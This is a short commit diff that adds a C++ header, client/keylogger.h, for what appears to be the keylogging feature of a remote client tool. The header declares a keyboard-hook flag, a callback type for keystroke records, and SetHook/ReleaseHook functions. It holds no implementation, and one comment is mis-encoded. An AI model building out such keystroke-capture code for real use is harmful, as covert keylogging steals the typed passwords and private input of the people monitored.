Fix the problem with the keylogging feature

client/keylogger.h

@@ -0,0 +1,15 @@
+#pragma once
+
+#include <Windows.h>
+
+// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ȫ<EFBFBD>ּ<EFBFBD><D6BC>̹<EFBFBD><CCB9><EFBFBD>
+#define USING_KB_HOOK 1
+
+#define GET_PROCESS_EASY(p)
+#define GET_PROCESS(p, q)
+
+typedef int (CALLBACK* Callback)(const char* record, void* user);
+
+bool SetHook(Callback callback, void* user);
+
+void ReleaseHook();